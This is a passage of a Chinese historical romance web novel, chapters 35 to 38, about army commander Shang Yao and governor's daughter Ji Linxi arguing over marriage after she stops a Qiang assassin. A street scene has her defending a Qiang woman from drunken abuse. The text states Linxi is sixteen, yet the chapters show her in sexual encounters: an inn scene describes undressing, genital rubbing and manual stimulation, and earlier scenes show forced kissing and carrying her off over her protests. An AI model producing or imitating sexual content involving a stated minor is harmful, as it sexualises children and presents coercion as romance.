“你们常年在晋阳,抵御匈奴乌桓更多。乌桓不成气候,匈奴也早南北分裂,如今南匈奴式微依附,同并州军民再没有开国初那样惨烈的战事。但西羌不同,羌人近年力量鼎盛,不仅不怕凉州,也不怕长安。这样一个九尺羌人硬汉,又信奉黑石,绝无可能在战败后就出卖山骨。既不是投诚,那就只能是死士最后一搏。这种搏杀希望渺茫,机会只有一次,必须刺杀主君。”
军帐中一时寂静。韩朔徐砺等人仰头,静静注视这小娘子。
傅以存垂首,指腹微动。
最终,竟是邬逊率先开口。
他微微躬身:“诚谢女君相救教诲。”
众人闻言错愕,目光齐齐投向他。
“啊。”临溪也一窘,抬手挠挠脸颊,“我只是……”
“你们先出去。”
商曜忽然开口。
麾下将领一个推一个,一步三回头地走了。邬逊慢慢注视一眼,垂眸一笑,也跟着离开。
临溪回头。
身子被重重一扯,落在他腿上,双手本能撑住男子宽阔肩头。
临溪启唇:“你——”
商曜抬腕,以手心边缘,细细擦去她脸上血迹,力道轻柔。
她呆呆看着他。
他亦安静回望。
望着眼前这英气的美丽,这勇敢的美丽,这无与伦比的美丽。
忽然护住她脑后,重重吻下来。
认识这么久,她从没有得到过他的温柔对待,他的吻总像他的人一样高高在上,不容忤逆。然而今日这吻却更是狂风撕裂山脊般的激烈和汹涌,前所未有地让她感到不顾一切。
临溪眼睫颤抖,缓缓闭目。
很多事情她都明白。
她需要仅凭拥抱就让她感到英武的男子之拥抱,她需要仅凭亲吻就让她感到强大的男子之亲吻,她不仰仗他人庇护,却只接受能够完全而恒久庇护她之人的——喜欢、珍视,以及那未知的、漫长的爱。
她都知道。
他的胸膛剧烈起伏,喘息低低:“你只能嫁给我。”
再四目相对之间,她终于在他的眼睛里,看见一种熠熠生辉的热烈色彩。
他又哑声:“只能。必须。”
临溪听见心脏至深之处传来回音;被爱触觉和爱他人意同时降临,交错敲击,余响寂静。
她忽然叉腰。
“你这竖子!同救命恩人放什么大话。”临溪指着他,还是雄赳赳,依旧伸手指,“我这么聪明,可不是为了被你看上。你得记着——是你先喜欢我,喜欢得不行了,是你想要娶我,想到百转千回。”
她仰起脸,眉梢飞舞:“有这么一个人,喜欢我喜欢得要疯了,喜欢到恨不能即刻就同我成亲,同我亲亲爱爱——”
“是。”他迅速点头,“是我。”
临溪不防他这么好说话,独角戏演到一半僵住。尴尬停了一停,移开视线:“且先前的救命之恩,我可是还清了。”
“还清了。”他还是点头,“就只是成婚。”
“我可没答应。”临溪低头,揪住手指,“我和你说那么多,你想没有?”
“近来打仗,肯定是没有时间想了。”她抬起脸,“你不想好,给我回答,我是不会答应你的——且就算你答了,我不满意,那也不能够。”
他以额头抵着她,语气喃喃:“翩翩。翩翩。”分明是有些迷恋的意味了。
只要长了耳朵,都能听出来。临溪唇角一扬,生生忍住,手心搂他脖颈,脸颊靠进肩窝,轻轻地说:“虽然我很讨厌你,但不想你受伤的。”
他轻轻吻她眼睛:“同那时一样——我撞一下。你乖些。”
唇瓣又被衔住,身体被拥得更紧。她轻轻呜咽一声。
两刻钟后,帅帐内弥漫开靡靡气息。
姬临溪起身同他隔开三丈远,愤愤打开软窗,回头怒骂:“你不是受伤了?果然男子受伤,妨碍用饭睡觉都不妨碍下流!”
商曜斜斜靠在榻上,衣襟微开,望着她的目光里,有着温热而慵懒的意味。微微一笑道:“这若妨碍,某了无生趣不说,小娘子后半生也凄惨。”
他第一次对她用谦称“某”,却是此情此景,以裙下臣身份。
临溪当然听懂,手指一点一点:“你这竖子。”
他又没头没脑道:“狸奴春日轻唤。”
她警惕看他。
商曜微笑:“女公子方才嘤咛,颇得真传。”
言辞香艳调戏之时,偏偏改口叫最端庄的女公子;笑容英俊而儒雅,却更加面目可憎。
姬临溪扑过去,环掐住他脖颈:“我就该让方才那羌人一刀杀了你!”
“你哪里舍得。”他笑,仍是笑,双眼微弯,剑眉上扬,“你闯进来时,焦急又惊恐……”
利落翻身将她压下,垂首打量眼前娇美面颊:“翩翩。”
她红着脸,楚楚回望。
他望着那杏眸深处,声音渐低:“跟我回家吧。”
临溪别开脸:“我不!”
他有些无奈,默然稍顷,低声道:“说服你父母陪同。我答应你,扶植你父亲。”
临溪这才怔了一下。
商曜道:“诺言浅薄又无用。”
“你需要亲人,需要支持你的人。”他将她的脸扶正,轻声道,“没有兄弟,你父亲是最合适的。且我麾下幕僚,从不在意是否并州籍贯。元椋金城人士,归帆出自渤海。”
临溪喉咙慢慢地滚。他一句甜言蜜语也不说,平和而诚恳地叙述。
“你若有可靠表堂姊妹,”商曜微微敛眉,“熙良一众,尽可相看,结为姻亲。”
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临溪忍不住:“谁看得上他?缺心眼,长得又黑。”
“他有许多好处,以后你会知晓。”他淡淡一笑,“如此,安心否?”
临溪心跳怦然,却还是摇一摇头。
商曜摸摸她的脑袋,柔声道:“你说。”
又道:“慢慢说。”
“我父亲是文官,没有上过沙场,做事又喜折衷,在你眼中是没有什么本领的人。”临溪一脸认真,“实则不然。我祖母是汉室旁支女,他少时长在洛阳,心向朝廷,然睹其腐朽,就毅然远走;他本无意倒戈向你,但知军心涣散,后郭颐叛变,我和母亲被捕,也能当机立断选择。阿父深耕凉州多年,饱受军民爱戴——他没有动手杀过人,这一点甚至不如他的女儿,武威亦是边防重镇,却没有一个将军想过要反他这个州牧。你真的认为他是无能之人吗?”
“我父亲有他自己的抱负。”临溪一抬眼睛,“晋阳未必如他所愿,未必成全他心志,更未必容他施展。且与桑长史等人不同,他要全靠你提拔栽培,人人皆道是因姻亲,才干更不得认可,我还要背祸水骂名。他四十多岁了,不再是二十出头的青襟士子,可以错很多次。阿母也是。我外祖父母都健在,回在苍松县养老,她是很欢喜安居姑臧的。阿父阿母一把年纪,善待呵护了我一生,让他们放下一切只为我迁徙,我做不到。”
商曜眉眼低垂。
“至于姻亲助力。”看出他失望,临溪心头有些难过,却还是道,“抛开相看可能,你首先忘了一件事。我的姊妹友人绝不是为我活着,你麾下郎将也不是。或许他们身份权势不如你,却一定都有自己的人生,不能逼迫,不能够预设旁人为我的圆满而奉献。自我院中亲人逝世,我就发过誓,再也不要任何人为我牺牲。我不需要。”
他慢慢坐起身,神色淡下来。
“其实——”临溪有些犹豫,“你非要现下就定下来今后诸事吗?世间人和事,相遇时感到开心,就很难得了。长远人情,实则说不准呀。”
商曜倏地看向她,眉宇里有着某种不可置信的隐晦情绪。
“我救你,也不是为了嫁给你。”临溪直觉又要把他给得罪了,索性鼓起勇气说到底,“因一时机缘冲动,就开始奢望天长地久,才是一种不明智。人和人之间,除非上苍一路眷顾,最后总会潦倒离散。是以我一直觉得,相遇时彼此欢喜,想做什么也去做过,就没有什么好后悔。我今日来金城,以后再想起,也不会后悔。这很足够……”
越说,声音越小了。
他蓦然起身,居高临下。低头看她,这回眼睛也冷下去。
认识这么久,临溪并没有回避过内心深处对他那种隐隐约约、却总在关键时刻闪烁警醒的恐惧。看清他冷淡神情,她莫名就开始往后缩:“其实……其实……”
他只平淡道:“说完。”
临溪双手揪在一处,一清嗓音:“虽说我是不讨厌你,亲亲什么的,我也挺喜欢。但是若说成婚、夫君一类的,你依旧没有过关,长得再好看也没有——”
商曜几乎被她气笑。他笔直走开,隔她两臂距离,微微讥讽回道:“难为女公子,至少认我容貌。”
唉、唉、唉——他委实是不大好打动的男子。再多长篇大论,对他心绪的侵扰也几乎没有。怎么能这么不为所动呢?
性情冷锐坚毅过了头的男人,虽然也同女子卿卿我我,到底还是不好拿捏。
临溪默默这么想着,只眨眼道:“君侯这话说的——若是不认脸,我早就要死要活啦。”
36. 意气
入夜,军帐之间燃起篝火。
“是怎么做到都好成这样了,还救过命,又互不理睬的?”韩朔咬着肉干,大为不解,“这下少主公心情都不好了。”
傅以存在旁慢吞吞:“此女太难降服。”
“她降服别人很容易。”徐砺小声道,“邬先生原本不喜,今日改口叫女君。”
“废话。那是救命之恩。”韩朔转脸,“若真让那羌人走近几步,谁知后果如何?”
不由感慨:“大翁主一直让我劝主公纳女,说办成了就嘉奖我。我那时还想把这女公子送去,回头去大翁主那里邀功……还好这事没成,否则她要杀我。此女不适合这样送,适合让少主公动心。”
“少主公是动心。”徐砺去翻转兔腿炙烤,“可惜他动他的,女公子自有决断。实则她给我感觉,今日就算是熙良,她也会出手相救。”
“说对了。”傅以存煞有其事点头,“进延是真看得懂女人,不愧是十八岁就娶了妻琴瑟和鸣的。”
徐砺牙疼:“你一边去。我家里那位是悍妇。”
“这女公子肯定也是。”韩朔咧嘴,“有意思有意思,真有意思。晋阳城那些贵女,在少主公面前话都不敢说一句,头也不敢抬,像猫见了老虎。到头想娶的还是悍妇——不过他想娶,人家未必肯嫁。我看女公子不怎么在意。”
扭头见几人脸色幽幽,心里蓦地一紧,捏着肉干,慢慢回过身。
商曜正面无表情站在他身后。
他是不和部曲同食的。
商家迁居晋阳已经是九十多年前的事,历经四代,奇迹般未出现一位纨绔,各任家主都是坚毅明理之人,家业积蕴深厚。他自出生没有过过清贫日子,少年从军后庖厨另开,根本不屑刻意缔造仁君故事。
商焕从前提点,他年纪太小,要做一些与军民同进退的表面功夫,以便拉拢人心。商曜收枪回头,冷冷道:“只有封赏能拢人心。”
有功夫表演体恤给麾下兵士看,不如反复记清舆图、用好胡人向导,不要迷路。
他就是务实、锋利而冷峻的性情。一直如此,从未变过。
所以即便承认心悦,她一定要若即若离,他也绝不低头配合。
此女狡黠无常,凭何要他改己?
韩朔站起来:“少主公!”
商曜只问:“云深呢。”
“还在找人。”徐砺忙道,“云深自己心里不好受。山骨没找到不说,还带了那羌人来,险些出事。若非那女公子——”
商曜转身走了。
傅以存起身,几步跟上去:“长叙!”
“她父亲还在等。”他略略斟酌,“虽说赶来迟了,你叫人入城,再一道班师回姑臧,旁人还是会觉得,姬使君得你重用。让他自己打道回府,难免——”
商曜侧一侧脸。
“你真想要她,就要先托她一把。”傅以存耸肩,“姬昱年过不惑,她又没有亲生兄弟,其实注定已经没有多少前途了。小娘子十六岁,心里发慌,实在情有可原。”
商曜沉默看着他。
傅以存挑眉:“看我做什么?”
商曜开口,语气还是有些淡:“你背着我娶妻了吗。”
傅以存一愣,撇嘴:“我六岁就到你家了。你一家性格,数我最了解。”
“比如你。”他直接道,“你心里其实明白她害怕什么,性格再倔也还是害怕。但她忤逆你,你就不肯说好话了。”
商曜笑起来。笑意清淡,也只一霎,随即看向别处,低声道:“去请姬昱入城。”
傅以存拍拍他肩。
*
山道尽头,夜色昏暝。山骨紧紧蜷缩在积雪中,待来人策马到近前,急迫起身:“如何?”
“那真失手了。”副将抿唇,“尸首已被抬出,千真万确。”
“怎么会!”山骨瞬间暴跳如雷,“那真是最强的黑石武士!最强的!还是刺杀!怎么会失手?”
“少主!”副将抬手按住他,无奈道,“真的没成。为今之计,逃命要紧。且我们主力被毁,即便东山再起,也要时间慢慢来啊——”
山骨眉间阴翳。闭一闭目,阴沉道:“想个办法,给匈奴王庭送封信。”
*
临溪正在思考,是否要劝姬昱打道回府。
“真是小气。”她自言自语一句,心下有些空落落。商曜这个人,单论性情,真的很难对付。
她噼里啪啦说完一大通,满心期待他有所回应——哪怕只是说一句“我不想只是欢喜过”也好啊。此男不过冷淡一抬眉眼,反问:那你还在这里做什么?欢喜过了。
他明明能够理解她的情绪,却根本不接招。
“好——好。”临溪掉头,不忘警告,“谁先找对方说话,谁是小狗。”
她索性跑掉了。
安排信使将帛缣送回姑臧交给轻鸿,回到允吾县外武威军驻地,对姬昱丧气摇头:“阿父,我办砸了。”
她也不明白自己。
他那一瞬间就是喜欢她——就是更加喜欢她了而已,以至于连晋阳都不说,变成回家。她只像从前一样,找借口应付过去,完全可以。
如今不知为何,就是不肯对他撒谎。
但于这个男子而言,所有坦诚交流,任凭如何真心,依旧没有半分足以打动他的力量。
临溪不是看不出来。连她承认畏惧他变心、结局潦倒,他都不曾直面回应。不过倒也不欺骗,不盲目许诺一生一世,他只解决问题。
接受她说的都对,但感情需要错误。
临溪托腮望着鐎斗火光,有些出神。
也许这么说很古怪,但她似乎……反而终于有些了解他。
喜直击要害,不喜安抚情绪;喜冷静,喜平直,不许任何人阻挠或折断。哪怕是他喜欢的人,他不愿放行之关隘,也永远地不被放行。
真的不好靠近,更不可能降服。对她这般,实则已经很是动真格了。
临溪撇嘴,一块块撕开肉干。她才不稀罕,本来就是他喜欢她在先,谈得拢谈,谈不拢正好一拍两散,她还是那个快活又漂亮的姬临溪。
她眼睛一亮。若是这样的性情,他或许真的不会逼迫。
不过,商曜这个人原本也傲气得要上云霄去了。年纪轻,个子高,家庭美满,家世高贵,军功赫赫,长得也——
临溪低头,再撇一撇嘴。
不丑。没有什么好看的。姑臧也能找出来差不多的。就算姑臧没有,洛阳城也肯定有比他更英俊的。
她是这么认为的。勉为其难这么认为。
再说这桩桩件件,她更好!
年纪更轻,家庭美满,家世也好,至于权势军功,他们不许女子上官场,对比时又算女子不如男,占了男方便宜,亏不亏心?
要说容貌——临溪咬着肉丝咀嚼,不服气地想,她不一样,洛阳城也没有比她好看的。
晋阳城肯定没有。如果有,他早就选走了。
是呀。他也不过是喜欢她漂亮而已。
姬临溪吃完肉干和胡饼,心凉下来大半,也就想通了。
姬昱疑惑:“这就走?”
董亓也不解:“女公子……”
“我一见他就说了,我们是来帮他,绝无二心,还自愿受他并州将领监军。”临溪叉腰,“这不就是不让我们入城的意思吗?”
“犯不着呀。”董亓困惑,“他又无意同凉州再起战事,原本就同意我和使君继续监理姑臧的,为何不肯用我们?”
姬昱望着临溪。
临溪一阵心虚,索性摊牌:“或许是生我气吧。我把他给得罪了。”
“你?”董亓咧开嘴笑,“都要成亲了,有什么隔夜仇?”
“谁说我要同他成亲啊?”临溪急得大吼,“我嫁姑臧的圂奴武夫,我也不嫁他!谁要去晋阳那种地方啊?比姑臧还要冷!”
董亓被她吼得头疼:“好好好。不嫁,不嫁。”
亲兵忽然激动来传:“使君!并州韩将军和徐将军请入城!”
董亓一喜,姬昱看临溪一眼,眉心亦松:“快请他们进来。”
临溪张一张嘴,毫不犹豫去抓姬昱胳膊:“阿父!那我就先回姑臧了。”
姬昱哭笑不得:“你这……不可。”
“女公子一个人,不放心的。”董亓也道,“虽说武威一路至金城有并凉守军,你也不好一个人出行。”
“我有五百精兵。”临溪道,“要他们继续护送……”
迟疑片刻,看向姬昱:“父亲能否加五百兵给我?”
姬昱疑惑嗯了一声。
“今日我在那人帐中,亲手料理了一个想刺杀他的羌人死士,说是狼莫之子山骨的护卫。”临溪凝眉,“若是护卫,山骨肯定还活着。只是幸存兵士不多,只能藏匿。带一千人,若是遇上,肯定无虞。”
董亓略略惊讶:“女公子亲手?”
“就是荀将军教我的那些。”临溪不欲多说。相似场景,姬昱恐怕会联想。
“救了君侯,那岂不是大功一件?”董亓惊喜,“女公子当真是凉州之幸!那这桩姻亲——”
“你说什么呢!”临溪毫不留情拿剑托抵他,高声道,“只要是我的友人,乃至于只要是凉州
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生民,我都不会允许他就在我眼皮子底下被羌人杀害!和亲事有什么狗屁干系?再说一次,我根本就不想嫁给他,哪怕嫁给最贫穷的农夫,我也不嫁给他!”
帅帐之外,韩朔和徐砺脚步一顿。
“好了好了。”姬昱也头疼,“把剑放下。你不想去就在此处等我们,待大军回拔,你再一道。独自出行就不必了!你都知道山骨逃窜,我岂能让你一个人。”
临溪怔了一怔,利落收回剑身,剜董亓一眼。
董亓摸鼻梁。
同姬昱一道进了并州军帅帐,姬昱未动,董亓却没有犹豫,拍甲而单膝跪下,声音坚定有力:“主公。”
韩朔等人都面露惊讶。
同样是进攻他州,每一州的打法都是不同的。最早吞幽州,别说将军,郡守都没能留一个,几乎是大换血。曾有一个汉室子弟落在少主公手里,言语羞辱二位翁主——小翁主那时才十一岁,下一息这人就被商曜面无表情拧断了脖颈。
到冀州就变了。尽管战事激烈,战后肯降服投诚者,不能再杀,能用就用,更是出了王辽这种得以出入晋阳的将军。
再到凉州,又更不一样。凉州久经羌乱,安定天水军的将领们饮过酒,自己都说“不想再打汉人了”。姬昱也算随机应变,董亓又是他心腹,商曜连虎符和帅印都没要。
董亓今日却主动交出。
商曜没有说话。傅以存看一眼姬昱,见他默认,下去收了,转身交回案上。
邬逊微笑道:“将军请起。过几日待事毕,同我们一道回姑臧吧。”
“鹤山还有话要说。”董亓站得笔直,“实则我凉州,并非就没有能力击溃羌曲。使君经营多年,军民一心,早是还击时候。即便不能尽扫,也足够震慑立威。然那何敞不知为何,屡屡推脱,每年冬季虽有抵御布置,却始终不肯率军彻底剿除羌乱。顾虑其倚仗并不在凉州,而远在天阁,我等不敢轻举妄动。”
“我亦知,少主公另有所求。然于我凉州军民而言,重创烧当等部,功在今时,利却绵延。”董亓认真道,“我知诸位将士折损牺牲。今后若有所用,鹤山万死不辞。”
摸一摸脑后,有些憨厚道:“鹤山虽无大用,剿羌有些心得的。”
众人皆笑。商曜亦淡淡扬唇,抬手将帅印丢回他怀里:“收着吧。”
夜间金城郡守置飨,宴请两州驻军。商曜亲自犒军,能到的地方都亲自到了,面不改色。喝到最后方眉色微敛,傅以存及时抬手扶一下,托辞回了帅帐。
“高估你了。”傅以存打量,“酒量没有这么差啊。”
商曜微微阖眼。
半晌,低声开口:“把那位夫人和佟谦佟谨送去晋阳。你亲自安排人护送,绝不可出差池。”
傅以存点头:“我知晓。”
帐中一静。
他抬手揉额角:“少了个人。”
傅以存明知故不问。
他又沉默片刻,这回声音更低,不知说给谁听:“我实在是不明白,她为什么这么倔。”
他不是傻瓜。姬临溪这人要是不喜欢他,他下辈子投胎去做牛羊——所以困惑,她做决策,是不受心仪情绪影响吗?
傅以存稍稍停顿,不忍他为情所困,开口教导:“跟这种烈性小娘子相处……”
帐外忽然推推搡搡,嘀嘀咕咕。
傅以存止住话头,喝道:“进来!”
韩朔和徐砺一前一后入帐。
“鬼鬼祟祟干什么呢。”傅以存直觉不妙,“今日去使君那里了?”
韩朔指徐砺:“你说。”
徐砺一扯他:“你说。”
“那一起说。”
韩朔清嗓:“只要是我的友人——”
徐砺挺胸:“只要是凉州生民——”
两人一齐:“我都不会让他在我眼皮底下被羌人杀害!”
韩朔捏住喉咙:“同姻亲无关!我不想嫁给他——我嫁给最贫穷的农夫,也不嫁给他!”
徐砺摊手:“女公子原话。”
韩朔佐证:“原得不能再原。”
傅以存咬牙切齿。
徐砺作为成了亲的人,好言相劝:“少主公,喜欢这种事,真的比什么都难勉强。”
“她有眼无珠。”韩朔一拍胸脯,“做皇后的机遇就这一次,错过了且哭去吧——”
商曜忽然持剑起身,径直大步向外。
徐砺叫住:“少主公——”
他头也没回:“我偏要勉强!”
这两个粗人懂什么?
她越是那样说、那样做,他越是喜欢得要发疯。
37. 胸怀
姬临溪却不在军营之中。
“翩翩进城去玩了。”姬昱连忙起身,“今夜允吾县内许多庆贺活动,她喜欢凑热闹。”
董亓眼睛滴溜溜地转。
商曜点头谢过,转身往马厩去。
董亓靠近:“使君,这……”
“待你女儿长大就明白,”姬昱含笑斟酒,“远嫁难舍啊。”
董亓了然,哈哈大笑,同他酒觞相碰。
临溪一边咬着糖饼,一边为百戏捧场。允吾县是金城郡治,近日汉人部曲又大败羌人,城中接连几日歌舞火戏不断,很是热闹。
舞到近处,那火者看准漂亮小娘子,向前喷出高高一簇。不想她一点也不怕,好奇伸出手,碰一碰那余烬,笑弯眉眼。
“小阿姊好漂亮。”脚边女童仰起头,欢快拍手,“好漂亮!”
“谢谢你呀。”临溪蹲下身,把糖饼撕下来一块,笑眯眯递过去。
“小阿姊是外郡来的?”各郡之间,说话音调就不同了。
“武威姑臧人也。”临溪摸她脑袋,“杀了羌酋,你们好高兴。”
女童点头:“那是当然!整个凉州,没有比我们金城人更恨羌人的了!家家户户,几乎都有亲眷死在羌人手里。”
临溪望着她,又摸一摸发顶。
说话间,听见不远处吵嚷。循声望去,一堆中年大汉正围拢住一处小摊,指指点点,叫骂不止。
临溪立刻起身,挤开几人过去。正中却是一名矮小佝偻老媪,正点头哈腰致歉,看不见脸庞。
“你这戎狄老媪,大好日子,出来寻晦气做什么?”大汉指她,“还不快滚回家去?”
“就是了!”另一大汉也骂,“赶紧滚!否则给你摊砸了!”
临溪看定,是各类编制草筐织笼,纹路编法略略同常见的样式有异。
那老媪一直在鞠躬,鞠到连脖颈都能看清。临溪原本还想听几句再做定论,不防真有壮汉被煽动,上前就踹:“滚——”
姬临溪猛地上前一步,拧住他胳膊,向后一翻。
壮汉仰天倒在地上,满脸懵然,还不知发生何事。
“干什么干什么?”临溪将那老媪护在身后,怒目而视,“你们这么多汉子,欺负一个老人,算什么?”
“小娘子!”最早开口的那大汉指她肩下,冷哼道,“你别急着出头。还是先看看她长什么模样吧!”
临溪回头,这才看清是羌女面貌,怔了一下。
“平日也就罢了,近来大好时间,她不是出来寻晦气是什么?”另一大汉怒道,“允许羌人出现在城中,都是我们慈心!早该把她摊面砸了!”
“你们够了。”临溪回过神,“够了!河西道各郡,哪一郡没有胡商?莫说金城,洛阳城中也不乏胡人将领。既能出来,就是有身份文书的归附羌人,同高山中的异族不同。”
“非我族类,其心必异!”大汉吼道,“听你口音也非我金城人,你懂什么……”
“我就是武威的!”临溪吼回去,“难道不配说话?敦煌,酒泉,张掖,武威,河西哪一郡人不懂羌乱苦害,哪一郡人不配说话?”
那壮汉终于爬起来,怒气冲冲:“看你衣着也非寻常人!怕不是家中亭台楼阁护卫相拥的富贵女公子?你家中有兄弟死在羌人手里吗?没有也不配说话!”
见临溪一愣,气势显然弱了一分,更是向前:“我今日就要把她摊砸了!如何?”
临溪被推得往后一步,那老媪倏地攥住她臂膊,自己站出:“我夫君是归附的羌兵……”汉话有些费力。
众人一顿。
临溪本已垂下眉眼,听得这一句,重新抬起头:“你听到没有?她夫君是打羌人的!”
忽然想起什么,转脸用羌语问那老媪:“你为何非要这时在此处售卖?”
老媪一惊,连忙飞速回道:“我夫君在战场上伤了腿,无法下地劳作,家中三小儿,不得已要我一个女人出来经商!我知道近来街上人多,实在舍不得,这才出来。”
临溪点点头,安抚拍拍她肩膀:“无事……”
脑后一痛。
却不知是谁,用手中羽团砸在她头上,斥道:“你好好一个汉人女子,学什么羌语?果然有鬼!”
临溪真的生了气,捡起羽团,用力往外砸:“好,我有鬼。我且问你,人人都不学,谁来看文书?谁来审羌人?谁来做向导?做生意被胡人骗,谁替你们讨公道?”
“你们是汉人,却不知汉人同胡族最大的不同!”她气红了脸,“是中原有儒法,声教讫于四海。你去战场上杀羌兵,凌迟他你也是英雄,你在此处欺凌一个已经归附的羌媪,你就不是!”
忽有一年轻汉女怯生生出列,挽着木篮,低头快步走到老媪身旁,向众人低声道:“这是我家隔壁苏木老媪。她夫君真真是归附金城军的羌兵,早年伤了腿。她待我很好的,大家不要误解。”
又展示木篮作证:“这正是她送我的。”
壮汉当众被撂,犹不解气,手指戳向临溪:“管他羌不羌兵,总之轮不到你们这些女娘作威作福……”
腕骨一痛,又被捉住,一脚踹向地。
临溪抬头。
多么神奇——她又从肩头认出他。
商曜启唇,语调冷冷:“滚。”
壮汉仰脸看一眼这比自己足足高出大半个头的年轻男子,骂骂咧咧起身逃了。
临溪弯腰探出脑袋,慢半拍道:“真是你啊。”
他不想会是这一句,神色一滞。
临溪却不理他了,回头安抚苏木老媪:“无事,阿姆今后记得,躲着中年男子。”
指一指摊面:“这些生意,小娘子都愿意做的。”
那年轻女子向临溪道谢:“今日多谢女公子。我这就送苏木老媪归家。”
忍不住解释:“其实女公子不必担心。我们邻里同老媪夫妇,素日里交际都正常,没有人这样不分是非。近来金城战胜,他们又饮了酒,豪气发不出去罢了。”
苏木亦点点头,向临溪按胸鞠躬行礼。这是羌人礼仪中,相当庄重的致谢。
临溪颔首,目送二人离开。
想起商曜还在身后,心里哼了一哼,背过手就走。
“姬临溪。”
她站定,迅速转回过身,跳近一大步,伸出食指:“谁先说话,谁是小狗。”
他不语,她指近一寸,抬起下巴:“小狗,你跟踪我?”
他还是不吭声。
“我告诉你——”
临溪尖叫一声,抬手去打:“放我下来!”
这个竖子!竟直接将她扛到肩上。
男子声音依旧冷冷:“你喜欢在街上闹,你就叫。”
临溪尴尬望一望四周,压低声音:“小狗竟也会威胁人了。”
商曜一言不发,扛她进了就近的客舍,抬手丢下一串钱:“一间上房。”
临溪紧紧捂住脸,谁也不去看了。
寻常客舍是架不起床的,只一张席地宽榻。甫被放下摔进榻内,临溪就密不透风捂住唇,果然手心被用力扯着分开,有硬而痒的触觉试图抵进下颌,她死死护住。
“松手。”他沉声命令,“让我亲。”
她抬腿就踹,翁里翁气骂:“滚开……你这竖子。”
“我不说第二次。”
他还是那样冷淡地望着她,仿佛上一息说让我亲的人并不是他,仿佛他从来也没有这么说过。
这男子的脑筋简直活像一根冷冰的铁。他究竟是怎么做到,面无表情说这种话的?
临溪大怒,是松了手,却利落向他颈间去一掌:“你以为你是谁?你就
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是想做这些事,才会来找我!”
“对。”他神色动也不动一下,“我就只想跟你做这些事。”
趁她空档,低头强行吻下来。
起先临溪一直躲,从肩膀到舌尖,全都在躲。慢慢开始乏力,身体后倒,被他单手接住肩背。他接住她,又托起她,吻越深越专注,越专注越缠绵……忽然在某个瞬间,她脑中紧绷着的那根弦,断了。
断了,切碎她自己也未曾察觉的禁锢,纵容许多碎片下坠于心。
锁骨切肤之痛,她将起火的绸衣丢向他;他制止姬昱打她,在残阳斜坡捞起她;他第一次对她说“让我亲”,也真的亲了;他从郭涉手里救了她,又亲了她;他在郡守府邸压着她,眼睛微微泛着湿意,哑声问她是否快活;他说,每回她同他见血,就想亲她。
那双原本半推不推抵在年轻男子肩头的少女葇荑,忽然收紧了。
在他颈后,慢慢交握。
临溪睁开眼睛,适逢月光降临,落入他的眼睛。
两人一静。
她又慢慢闭上眼。
下一息,商曜在唇舌之间感到了来自于她的,热切的回应。
他亦缓缓闭上眼。
那双纤细腕骨,彻底在他颈后扣紧。
女子侧脸微仰,双唇分开一霎,各自喘息。
只这一霎。软帐被一只大手扯下,氅衣厚袄接连被丢出,隐隐绰绰窥见两道修长身影,交叠向榻内滚落。
唇瓣再也没有分开,直到他猛地直起身,去解外袍和中衣。解到中途就又舍不得她的唇,俯身下来含住磋磨,捉她的手去衿勾处,低声含糊道了句:“帮我脱。”
临溪脸烫得要命,头脑昏昏沉沉,却莫名抬出指腹照做了。待只剩下一件薄薄中衣,伸了双臂,清醒而真切地拥抱他。
年轻的、宽直的、勃发的、炙热的、精壮的,只拥抱也深深感到那蕴藏于其内的磅礴力量的,男子的身体。
他将她的颈项咬到濡湿,蓦然抬起脸,定定看着她。
两人鼻息相闻。
“我很难受。”他低声而终于有些狼狈地说,“翩翩。”
“跟我回晋阳。”他以额头摩挲她的额发,又用他自己——用他最年轻而热烈的那一部分,摩挲青涩的她的缝隙,“只要你点头,就今夜。”
临溪原本微微喘息,闻言倏地睁开双眸。
她以为他会用她所说“欢喜过快活过”来恳请,或要求,毕竟男子最着迷不必负责的情缘。
但他依旧只是要她跟他走,他明确而坚定地,要她跟他回家,回到晋阳去。她忽然没头没脑地想,在他眼里,她是他想要的“妻子”吗?
见她虽然神情怔忡,那眼瞳却分明慢慢清明,渐渐有了疏离而遥远的意味。商曜所有动作顿住,起身坐在她身侧,以手背抵额,低哑声问:“究竟谁派你来报复我?”
临溪默然稍顷,趁他毫无防备,蓦地直身坐去他腰间,向前一抵,低头捧起他的脸,主动吻他的唇。
她真正意义上,第一次主动亲吻他。
他有一瞬间的停滞,随即更为蛮横地将人横腰抬高,将她完整地纳在怀中。他同她肆意地亲吻,她也同他;他反反复复去碾那道缝隙,她也默许。
到最后他几乎是又爱又恨,大手死死掐她的腰,喃喃着喊她小字:“翩翩。翩翩。”
临溪微微仰着颈项,分明羞涩,却坦然、勇敢而真诚地阐明她的感受:“我告诉你吧,其实这样,我很……舒服。”
他那双漆黑幽深的瞳孔沉沉望着她,终于低低笑出一声。
大手原本同她十指相扣,忽然撤退,改为包住她那颗小小拳头。
一点一点地,往下带。
在交接权柄那一刻,俯身深吻住她的唇,低低道:“那今日学些新的,当作回馈我。”
38. 骄傲
有人在亲她的头发。
临溪睁开眼睛:“什么时辰了。”
“亥正。”他哑声答了,仍是从后环抱她的腰身,“不睡了?”姬临溪是娇气小娘子,嫌弃这张宽榻冰凉,要以他胸膛为枕。
“我要回去。”临溪挣扎着起身,“阿父还……”
“我来之前,去问的他。”商曜牢牢箍住她,唇瓣依旧印在她发顶,“他知道你同我在一处。”
她没有再动。
“翩翩。”他又低低叫她,每回这么叫她,都冷静地认输,“你开条件。”
他硬的时间越来越长,硬气时间却越来越短。
头回不理她好歹前后坚持了有许多天,这回就只有一天了。
临溪睨他,不客气道:“我这是靠手就把你拿下了?我的手心就这么舒服,是吧?”
商曜默然。一边亲脖子一边往手心去,确实是很舒服的事。
他从前不知道。
她又瞪他:“那要是什么别的地方,你不得羽化成仙?”
“好了。”商曜扶额,低声重复,“开条件。我答应。”
她却别过脸:“我才不开。你十年后是要做皇帝的人,任凭何等条件诺言,想不算数就不算数,都没有用。我做什么要以进为退?装模作样,自欺欺人,烦人。”
他靠近看她。借着月光,努力看她,语气探究:“你每日究竟在想什么?”
“想如何不让人欺负我!”临溪一抬下颌,“我反正是不许任何人欺负我的。你也不行。”
他伸手去轻轻包圆这方精巧下巴,只回:“我已经欺负到了。”
“不算。”临溪回望,清清脆脆,“我也快活,就不算。”
他低低笑。
她忽然仰头:“你会嫌弃我胡闹吗?”
商曜一怔。他第一次听到她问出一个,终于让他瞧见了些曙光的问题。
错过真成傻瓜了。于是毫不犹豫摇头。
她果然就得意一笑:“你嫌弃也没有用。”
他道:“女子甚少远嫁。”
临溪往他肩下靠近一寸,脸颊扭了一扭。
